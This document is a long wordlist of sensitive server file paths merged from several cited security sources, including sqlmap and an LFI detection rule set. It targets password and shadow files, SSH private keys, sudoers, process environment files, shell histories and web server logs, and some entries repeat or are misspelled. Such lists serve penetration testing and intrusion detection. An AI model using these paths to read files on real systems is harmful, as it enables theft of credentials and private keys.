/etc/mysql/my.cnf /etc/openldap/ldap.conf /etc/os-release /etc/pam.conf /etc/passwd /etc/passwd- /etc/password.master /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php5/cgi/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/profile /etc/proftp.conf /etc/proftpd/modules.conf /etc/protpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/pureftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/security/environ /etc/security/group /etc/security/limits /etc/security/passwd /etc/security/user /etc/shadow /etc/shadow- /etc/slackware-release /etc/sudoers /etc/SUSE-release /etc/sysctl.conf /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/access.log /logs/error.log /opt/apache2/conf/httpd.conf /opt/apache/conf/httpd.conf /opt/xampp/etc/php.ini /private/etc/httpd/httpd.conf /private/etc/httpd/httpd.conf.default /root/.bash_history /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/known_hosts /tmp/access.log /usr/apache2/conf/httpd.conf /usr/apache/conf/httpd.conf /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/lib/security/mkuser.default /usr/local/apache2/conf/httpd.conf /usr/local/apache2/httpd.conf /usr/local/apache2/logs/access_log /usr/local/apache2/logs/access.log /usr/local/apache2/logs/error_log /usr/local/apache2/logs/error.log /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/php.ini /usr/local/apache/httpd.conf /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error. og /usr/local/apps/apache2/conf/httpd.conf /usr/local/apps/apache/conf/httpd.conf /usr/local/etc/apache2/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache/vhosts.conf /usr/local/etc/httpd/conf/httpd.conf /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/httpd/conf/httpd.conf /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.php /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdb /usr/local/pureftpd/sbin/pure-config.pl /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/local/www/conf/php.ini /var/log/access_log /var/log/access.log /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/error_log /var/log/error.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/messages /var/log/messages.1 /var/log/user.log /var/log/user.log.1 /var/www/conf/httpd.conf /var/www/html/index.html /var/www/logs/access_log /var/www/logs/access.log /var/www/logs/error_log /var/www/logs/error.log /Volumes/webBackup/opt/apache2/conf/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf.default /web/conf/php.ini # Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py /var/log/mysqld.log /var/www/index.php # Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810 /var/www/index.php /usr/local/apache/index.php /usr/local/apache2/index.php /usr/local/www/apache22/index.php /usr/local/www/apache24/index.php /usr/local/httpd/index.php /var/www/nginx-default/index.php /srv/www/index.php /var/www/config.php /usr/local/apache/config.php /usr/local/apache2/config.php /usr/local/www/apache22/config.php /usr/local/www/apache24/config.php /usr/local/httpd/config.php /var/www/nginx-default/config.php /srv/www/config.php # Reference: https://github.com/sqlmapproject/sqlmap/issues/3928 /srv/www/htdocs/index.php /usr/local/apache2/htdocs/index.php /usr/local/www/data/index.php /var/apache2/htdocs/index.php /var/www/htdocs/index.php /var/www/html/index.php /srv/www/htdocs/config.php /usr/local/apache2/htdocs/config.php /usr/local/www/data/config.php /var/apache2/htdocs/config.php /var/www/htdocs/config.php /var/www/html/config.php # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux /etc/passwd /etc/shadow /etc/aliases /etc/anacrontab /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/at.allow /etc/at.deny /etc/bashrc /etc/bootptab /etc/chrootUsers /etc/chttp.conf /etc/cron.allow /etc/cron.deny /etc/crontab /etc/cups/cupsd.conf /etc/exports /etc/fstab /etc/ftpaccess /etc/ftpchroot /etc/ftphosts /etc/groups /etc/grub.conf /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/httpd/access.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/httpd/srm.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/lighttpd.conf /etc/lilo.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/lsb-release /etc/motd /etc/modules.conf /etc/motd /etc/mtab /etc/my.cnf /etc/my.conf /etc/mysql/my.cnf /etc/network/interfaces /etc/networks /etc/npasswd /etc/passwd /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php4/apache2/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/printcap /etc/profile /etc/proftp.conf /etc/proftpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/putreftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/snmpd.conf /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/sysconfig/network /etc/syslog.conf /etc/termcap /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /opt/lampp/etc/httpd.conf /opt/xampp/etc/php.ini /proc/cpuinfo /proc/filesystems /proc/interrupts /proc/ioports /proc/meminfo /proc/modules /proc/mounts /proc/stat /proc/swaps /proc/version /proc/self/net/arp /root/anaconda-ks.cfg /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/audit_log /usr/local/apache/error_log /usr/local/apache/error.log /usr/local/cpanel/logs /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.ini /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdn /usr/local/pureftpd/sbin/pure-config.pl /usr/local/www/logs/httpd_log /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/adm/log/xferlog /var/apache2/config.inc /var/apache/logs/access_log /var/apache/logs/error_log /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /var/local/www/conf/php.ini /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/auth.log /var/log/boot /var/htmp /var/log/chttp.log /var/log/cups/error.log /var/log/daemon.log /var/log/debug /var/log/dmesg /var/log/dpkg.log /var/log/exim_mainlog /var/log/exim/mainlog /var/log/exim_paniclog /var/log/exim.paniclog /var/log/exim_rejectlog /var/log/exim/rejectlog /var/log/faillog /var/log/ftplog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/kern.log /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/mail.info /var/log/mail.log /var/log/maillog /var/log/mail.warn /var/log/message /var/log/messages /var/log/mysqlderror.log /var/log/mysql.log /var/log/mysql/mysql-bin.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/log/proftpd /var/log/pureftpd.log /var/log/pure-ftpd/pure-ftpd.log /var/log/secure /var/log/vsftpd.log /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/mysql.log /var/run/utmp /var/spool/cron/crontabs/root /var/webmin/miniserv.log /var/www/log/access_log /var/www/log/error_log /var/www/logs/access_log /var/www/logs/error_log /var/www/logs/access.log /var/www/logs/error.log # Reference: https://nets.ec/File_Inclusion /etc/passwd /etc/master.passwd /etc/shadow /var/db/shadow/hash /etc/group /etc/hosts /etc/motd /etc/issue /etc/release /etc/redhat-release /etc/crontab /etc/inittab /proc/version /proc/cmdline /proc/self/environ /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/255 /etc/httpd.conf /etc/apache2.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/apache2/conf/httpd.conf /etc/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /etc/apache2/sites-enabled/000-default /etc/apache2/sites-available/default /etc/nginx.conf /etc/nginx/nginx.conf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default /etc/ssh/sshd_config /etc/my.cnf /etc/mysql/my.cnf /etc/php.ini /var/mail/www-data /var/mail/www /var/mail/apache /var/mail/nobody /var/www/.bash_history /root/.bash_history /var/root/.bash_history /var/root/.sh_history /etc/passwd /etc/master.passwd /etc/shadow /var/db/shadow/hash /etc/group /etc/hosts /etc/motd /etc/issue /etc/release /etc/redhat-release /etc/crontab /etc/inittab /proc/version /proc/cmdline /proc/self/environ /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/255 /etc/httpd.conf /etc/apache2.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/apache2/conf/httpd.conf /etc/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /etc/apache2/sites-enabled/000-default /etc/apache2/sites-available/default /etc/nginx.conf /etc/nginx/nginx.conf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default /etc/ssh/sshd_config /etc/my.cnf /etc/mysql/my.cnf /etc/php.ini /var/mail/www-data /var/mail/www /var/mail/apache /var/mail/nobody /var/www/.bash_history /root/.bash_history /var/root/.bash_history /var/root/.sh_history /usr/local/apache/httpd.conf /usr/local/apache2/httpd.conf /usr/local/httpd/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache2/conf/httpd.conf /usr/local/etc/httpd/conf/httpd.conf /usr/apache2/conf/httpd.conf /usr/apache/conf/httpd.conf /etc/http/conf/httpd.conf /etc/http/httpd.conf /opt/apache/conf/httpd.conf /opt/apache2/conf/httpd.conf /var/www/conf/httpd.conf /usr/local/php/httpd.conf /usr/local/php4/httpd.conf /usr/local/php5/httpd.conf /etc/httpd/php.ini /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/etc/php.ini /usr/local/lib/php.ini /usr/local/php/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php5/lib/php.ini /usr/local/apache/conf/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php/php.ini /etc/php/php4/php.ini /etc/php/apache/php.ini /etc/php/apache2/php.ini /usr/local/Zend/etc/php.ini /opt/xampp/etc/php.ini /var/local/www/conf/php.ini /etc/php/cgi/php.ini /etc/php4/cgi/php.ini /etc/php5/cgi/php.ini /var/log/lastlog /var/log/wtmp /var/run/utmp /var/log/messages.log /var/log/messages /var/log/messages.0 /var/log/messages.1 /var/log/messages.2 /var/log/messages.3 /var/log/syslog.log /var/log/syslog /var/log/syslog.0 /var/log/syslog.1 /var/log/syslog.2 /var/log/syslog.3 /var/log/auth.log /var/log/auth.log.0 /var/log/auth.log.1 /var/log/auth.log.2 /var/log/auth.log.3 /var/log/authlog /var/log/syslog /var/adm/lastlog /var/adm/messages /var/adm/messages.0 /var/adm/messages.1 /var/adm/messages.2 /var/adm/messages.3 /var/adm/utmpx /var/adm/wtmpx /var/log/kernel.log /var/log/secure.log /var/log/mail.log /var/run/utmp /var/log/wtmp /var/log/lastlog /var/log/access.log /var/log/access_log /var/log/error.log /var/log/error_log /var/log/apache2/access.log /var/log/apache2/access_log /var/log/apache2/error.log /var/log/apache2/error_log /var/log/apache/access.log /var/log/apache/access_log /var/log/apache/error.log /var/log/apache/error_log /var/log/httpd/access.log /var/log/httpd/access_log /var/log/httpd/error.log /var/log/httpd/error_log /etc/httpd/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache2/logs/access.log /usr/local/apache2/logs/access_log /usr/local/apache2/logs/error.log /usr/local/apache2/logs/error_log /var/www/logs/access.log /var/www/logs/access_log /var/www/logs/error.log /var/www/logs/error_log /opt/lampp/logs/access.log /opt/lampp/logs/access_log /opt/lampp/logs/error.log /opt/lampp/logs/error_log /opt/xampp/logs/access.log /opt/xampp/logs/access_log /opt/xampp/logs/error.log /opt/xampp/logs/error_log # Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data /.htaccess /.htpasswd /access.log /access_log /apache/conf/httpd.conf /apache/logs/access.log /apache/logs/error.log /apache/php/php.ini /apache2/logs/access.log /apache2/logs/error.log /bin/php.ini /boot.ini /boot/grub/grub.cfg /boot/grub/menu.lst /config.inc.php /error.log /error_log /etc/adduser.conf /etc/alias /etc/apache/access.conf /etc/apache/apache.conf /etc/apache/conf/httpd.conf /etc/apache/default-server.conf /etc/apache/httpd.conf /etc/apache2/apache.conf /etc/apache2/apache2.conf /etc/apache2/conf.d/charset /etc/apache2/conf.d/phpmyadmin.conf /etc/apache2/conf.d/security /etc/apache2/conf/httpd.conf /etc/apache2/default-server.conf /etc/apache2/envvars /etc/apache2/httpd.conf /etc/apache2/httpd2.conf /etc/apache2/mods-available/autoindex.conf /etc/apache2/mods-available/deflate.conf /etc/apache2/mods-available/dir.conf /etc/apache2/mods-available/mem_cache.conf /etc/apache2/mods-available/mime.conf /etc/apache2/mods-available/proxy.conf /etc/apache2/mods-available/setenvif.conf /etc/apache2/mods-available/ssl.conf /etc/apache2/mods-enabled/alias.conf /etc/apache2/mods-enabled/deflate.conf /etc/apache2/mods-enabled/dir.conf /etc/apache2/mods-enabled/mime.conf /etc/apache2/mods-enabled/negotiation.conf /etc/apache2/mods-enabled/php5.conf /etc/apache2/mods-enabled/status.conf /etc/apache2/ports.conf /etc/apache2/sites-available/default /etc/apache2/sites-available/default-ssl /etc/apache2/sites-enabled/000-default /etc/apache2/sites-enabled/default /etc/apache2/ssl-global.conf /etc/apache2/vhosts.d/00_default_vhost.conf /etc/apache2/vhosts.d/default_vhost.include /etc/apache22/conf/httpd.conf /etc/apache22/httpd.conf /etc/apt/apt.conf /etc/avahi/avahi-daemon.conf /etc/bash.bashrc /etc/bash_completion.d/debconf /etc/bluetooth/input.conf /etc/bluetooth/main.conf /etc/bluetooth/network.conf /etc/bluetooth/rfcomm.conf /etc/ca-certificates.conf /etc/ca-certificates.conf.dpkg-old /etc/casper.conf /etc/chkrootkit.conf /etc/chrootusers /etc/clamav/clamd.conf /etc/clamav/freshclam.conf /etc/crontab /etc/crypttab /etc/cups/acroread.conf /etc/cups/cupsd.conf /etc/cups/cupsd.conf.default /etc/cups/pdftops.conf /etc/cups/printers.conf /etc/cvs-cron.conf /etc/cvs-pserver.conf /etc/debconf.conf /etc/debian_version /etc/default/grub /etc/deluser.conf /etc/dhcp/dhclient.conf /etc/dhcp3/dhclient.conf /etc/dhcp3/dhcpd.conf /etc/dns2tcpd.conf /etc/e2fsck.conf /etc/esound/esd.conf /etc/etter.conf /etc/exports /etc/fedora-release /etc/firewall.rules /etc/foremost.conf /etc/fstab /etc/ftpchroot /etc/ftphosts /etc/ftpusers /etc/fuse.conf /etc/group /etc/group- /etc/hdparm.conf /etc/host.conf /etc/hostname /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/http/conf/httpd.conf /etc/http/httpd.conf /etc/httpd.conf /etc/httpd/apache.conf /etc/httpd/apache2.conf /etc/httpd/conf /etc/httpd/conf.d /etc/httpd/conf.d/php.conf /etc/httpd/conf.d/squirrelmail.conf /etc/httpd/conf/apache.conf /etc/httpd/conf/apache2.conf /etc/httpd/conf/httpd.conf /etc/httpd/extra/httpd-ssl.conf /etc/httpd/httpd.conf /etc/httpd/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /etc/httpd/mod_php.conf /etc/httpd/php.ini /etc/inetd.conf /etc/init.d /etc/inittab /etc/ipfw.conf /etc/ipfw.rules /etc/issue /etc/issue /etc/issue.net /etc/kbd/config /etc/kernel-img.conf /etc/kernel-pkg.conf /etc/ld.so.conf /etc/ldap/ldap.conf /etc/lighttpd/lighthttpd.conf /etc/login.defs /etc/logrotate.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/ltrace.conf /etc/mail/sendmail.conf /etc/mandrake-release /etc/manpath.config /etc/miredo-server.conf /etc/miredo.conf /etc/miredo/miredo-server.conf /etc/miredo/miredo.conf /etc/modprobe.d/vmware-tools.conf /etc/modules /etc/mono/1.0/machine.config /etc/mono/2.0/machine.config /etc/mono/2.0/web.config /etc/mono/config /etc/motd /etc/motd /etc/mtab /etc/mtools.conf /etc/muddleftpd.com /etc/muddleftpd/muddleftpd.conf /etc/muddleftpd/muddleftpd.passwd /etc/muddleftpd/mudlog /etc/muddleftpd/mudlogd.conf /etc/muddleftpd/passwd /etc/my.cnf /etc/mysql/conf.d/old_passwords.cnf /etc/mysql/my.cnf /etc/networks /etc/newsyslog.conf /etc/nginx/nginx.conf /etc/openldap/ldap.conf /etc/os-release /etc/osxhttpd/osxhttpd.conf /etc/pam.conf /etc/pam.d/proftpd /etc/passwd /etc/passwd /etc/passwd- /etc/passwd~ /etc/password.master /etc/php.ini /etc/php/apache/php.ini /etc/php/apache2/php.ini /etc/php/cgi/php.ini /etc/php/php.ini /etc/php/php4/php.ini /etc/php4.4/fcgi/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php4/cgi/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php5/cgi/php.ini /etc/phpmyadmin/config.inc.php /etc/postgresql/pg_hba.conf /etc/postgresql/postgresql.conf /etc/profile /etc/proftp.conf /etc/proftpd/modules.conf /etc/protpd/proftpd.conf /etc/pulse/client.conf /etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/pureftpd.pdb /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/rc.conf /etc/rc.d/rc.httpd /etc/redhat-release /etc/resolv.conf /etc/resolvconf/update-libc.d/sendmail /etc/samba/dhcp.conf /etc/samba/netlogon /etc/samba/private/smbpasswd /etc/samba/samba.conf /etc/samba/smb.conf /etc/samba/smb.conf.user /etc/samba/smbpasswd /etc/samba/smbusers /etc/security/access.conf /etc/security/environ /etc/security/failedlogin /etc/security/group /etc/security/group.conf /etc/security/lastlog /etc/security/limits /etc/security/limits.conf /etc/security/namespace.conf /etc/security/opasswd /etc/security/pam_env.conf /etc/security/passwd /etc/security/sepermit.conf /etc/security/time.conf /etc/security/user /etc/sensors.conf /etc/sensors3.conf /etc/shadow /etc/shadow- /etc/shadow~ /etc/slackware-release /etc/smb.conf /etc/smbpasswd /etc/smi.conf /etc/squirrelmail/apache.conf /etc/squirrelmail/config.php /etc/squirrelmail/config/config.php /etc/squirrelmail/config_default.php /etc/squirrelmail/config_local.php /etc/squirrelmail/default_pref /etc/squirrelmail/filters_setup.php /etc/squirrelmail/index.php /etc/squirrelmail/sqspell_config.php /etc/ssh/sshd_config /etc/sso/sso_config.ini /etc/stunnel/stunnel.conf /etc/subversion/config /etc/sudoers /etc/suse-release /etc/sw-cp-server/applications.d/00-sso-cpserver.conf /etc/sw-cp-server/applications.d/plesk.conf /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/sysctl.conf /etc/sysctl.d/10-console-messages.conf /etc/sysctl.d/10-network-security.conf /etc/sysctl.d/10-process-security.conf /etc/sysctl.d/wine.sysctl.conf /etc/syslog.conf /etc/timezone /etc/tinyproxy/tinyproxy.conf /etc/tor/tor-tsocks.conf /etc/tsocks.conf /etc/updatedb.conf /etc/updatedb.conf.beforevmwaretoolsinstall /etc/utmp /etc/vhcs2/proftpd/proftpd.conf /etc/vmware-tools/config /etc/vmware-tools/tpvmlp.conf /etc/vmware-tools/vmware-tools-libraries.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/webmin/miniserv.conf /etc/webmin/miniserv.users /etc/wicd/dhclient.conf.template.default /etc/wicd/manager-settings.conf /etc/wicd/wired-settings.conf /etc/wicd/wireless-settings.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /etc/x11/xorg.conf /etc/x11/xorg.conf-vesa /etc/x11/xorg.conf-vmware /etc/x11/xorg.conf.beforevmwaretoolsinstall /etc/x11/xorg.conf.orig /home/bin/stable/apache/php.ini /home/postgres/data/pg_hba.conf /home/postgres/data/pg_ident.conf /home/postgres/data/pg_version /home/postgres/data/postgresql.conf /home/user/lighttpd/lighttpd.conf /home2/bin/stable/apache/php.ini /http/httpd.conf /library/webserver/documents/.htaccess /library/webserver/documents/default.htm /library/webserver/documents/default.html /library/webserver/documents/default.php /library/webserver/documents/index.htm /library/webserver/documents/index.html /library/webserver/documents/index.php /logs/access.log /logs/access_log /logs/error.log /logs/error_log /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /mysql/bin/my.ini /mysql/data/mysql-bin.index /mysql/data/mysql-bin.log /mysql/data/mysql.err /mysql/data/mysql.log /mysql/my.cnf /mysql/my.ini /netserver/bin/stable/apache/php.ini /opt/jboss/server/default/conf/jboss-minimal.xml /opt/jboss/server/default/conf/jboss-service.xml /opt/jboss/server/default/conf/jndi.properties /opt/jboss/server/default/conf/log4j.xml /opt/jboss/server/default/conf/login-config.xml /opt/jboss/server/default/conf/server.log.properties /opt/jboss/server/default/conf/standardjaws.xml /opt/jboss/server/default/conf/standardjboss.xml /opt/jboss/server/default/deploy/jboss-logging.xml /opt/jboss/server/default/log/boot.log /opt/jboss/server/default/log/server.log /opt/apache/apache.conf /opt/apache/apache2.conf /opt/apache/conf/apache.conf /opt/apache/conf/apache2.conf /opt/apache/conf/httpd.conf /opt/apache2/apache.conf /opt/apache2/apache2.conf /opt/apache2/conf/apache.conf /opt/apache2/conf/apache2.conf /opt/apache2/conf/httpd.conf /opt/apache22/conf/httpd.conf /opt/httpd/apache.conf /opt/httpd/apache2.conf /opt/httpd/conf/apache.conf /opt/httpd/conf/apache2.conf /opt/lampp/etc/httpd.conf /opt/lampp/logs/access.log /opt/lampp/logs/access_log /opt/lampp/logs/error.log /opt/lampp/logs/error_log /opt/lsws/conf/httpd_conf.xml /opt/lsws/logs/access.log /opt/lsws/logs/error.log /opt/tomcat/logs/catalina.err /opt/tomcat/logs/catalina.out /opt/xampp/etc/php.ini /opt/xampp/logs/access.log /opt/xampp/logs/access_log /opt/xampp/logs/error.log /opt/xampp/logs/error_log /php/php.ini /php/php.ini /php4/php.ini /php5/php.ini /postgresql/log/pgadmin.log /private/etc/httpd/apache.conf /private/etc/httpd/apache2.conf /private/etc/httpd/httpd.conf /private/etc/httpd/httpd.conf.default /private/etc/squirrelmail/config/config.php /proc/cpuinfo /proc/devices /proc/meminfo /proc/net/tcp /proc/net/udp /proc/self/cmdline /proc/self/environ /proc/self/environ /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/10 /proc/self/fd/11 /proc/self/fd/12 /proc/self/fd/13 /proc/self/fd/14 /proc/self/fd/15 /proc/self/fd/2 /proc/self/fd/3 /proc/self/fd/4 /proc/self/fd/5 /proc/self/fd/6 /proc/self/fd/7 /proc/self/fd/8 /proc/self/fd/9 /proc/self/mounts /proc/self/stat /proc/self/status /proc/version /program files/jboss/server/default/conf/jboss-minimal.xml /program files/jboss/server/default/conf/jboss-service.xml /program files/jboss/server/default/conf/jndi.properties /program files/jboss/server/default/conf/log4j.xml /program files/jboss/server/default/conf/login-config.xml /program files/jboss/server/default/conf/server.log.properties /program files/jboss/server/default/conf/standardjaws.xml /program files/jboss/server/default/conf/standardjboss.xml /program files/jboss/server/default/deploy/jboss-logging.xml /program files/jboss/server/default/log/boot.log /program files/jboss/server/default/log/server.log /program files/apache group/apache/apache.conf /program files/apache group/apache/apache2.conf /program files/apache group/apache/conf/apache.conf /program files/apache group/apache/conf/apache2.conf /program files/apache group/apache/conf/httpd.conf /program files/apache group/apache/logs/access.log /program files/apache group/apache/logs/error.log /program files/apache group/apache2/conf/apache.conf /program files/apache group/apache2/conf/apache2.conf /program files/apache group/apache2/conf/httpd.conf /program files/apache software foundation/apache2.2/conf/httpd.conf /program files/apache software foundation/apache2.2/logs/access.log /program files/apache software foundation/apache2.2/logs/error.log /program files/mysql/data/mysql-bin.index /program files/mysql/data/mysql-bin.log /program files/mysql/data/mysql.err /program files/mysql/data/mysql.log /program files/mysql/my.cnf /program files/mysql/my.ini /program files/mysql/mysql server 5.0/data/mysql-bin.index /program files/mysql/mysql server 5.0/data/mysql-bin.log /program files/mysql/mysql server 5.0/data/mysql.err /program files/mysql/mysql server 5.0/data/mysql.log /program files/mysql/mysql server 5.0/my.cnf /program files/mysql/mysql server 5.0/my.ini /program files/postgresql/8.3/data/pg_hba.conf /program files/postgresql/8.3/data/pg_ident.conf /program files/postgresql/8.3/data/postgresql.conf /program files/postgresql/8.4/data/pg_hba.conf /program files/postgresql/8.4/data/pg_ident.conf /program files/postgresql/8.4/data/postgresql.conf /program files/postgresql/9.0/data/pg_hba.conf /program files/postgresql/9.0/data/pg_ident.conf /program files/postgresql/9.0/data/postgresql.conf /program files/postgresql/9.1/data/pg_hba.conf /program files/postgresql/9.1/data/pg_ident.conf /program files/postgresql/9.1/data/postgresql.conf /program files/vidalia bundle/polipo/polipo.conf /program files/xampp/apache/conf/apache.conf /program files/xampp/apache/conf/apache2.conf /program files/xampp/apache/conf/httpd.conf /root/.bash_config /root/.bash_history /root/.bash_logout /root/.bashrc /root/.ksh_history /root/.xauthority /srv/www/htdos/squirrelmail/config/config.php /ssl_request_log /system/library/webobjects/adaptors/apache2.2/apache.conf /temp/sess_ /thttpd_log /tmp/jboss/server/default/conf/jboss-minimal.xml /tmp/jboss/server/default/conf/jboss-service.xml /tmp/jboss/server/default/conf/jndi.properties /tmp/jboss/server/default/conf/log4j.xml /tmp/jboss/server/default/conf/login-config.xml /tmp/jboss/server/default/conf/server.log.properties /tmp/jboss/server/default/conf/standardjaws.xml /tmp/jboss/server/default/conf/standardjboss.xml /tmp/jboss/server/default/deploy/jboss-logging.xml /tmp/jboss/server/default/log/boot.log /tmp/jboss/server/default/log/server.log /tmp/access.log /tmp/sess_ /usr/apache/conf/httpd.conf /usr/apache2/conf/httpd.conf /usr/etc/pure-ftpd.conf /usr/home/user/lighttpd/lighttpd.conf /usr/home/user/var/log/apache.log /usr/home/user/var/log/lighttpd.error.log /usr/internet/pgsql/data/pg_hba.conf 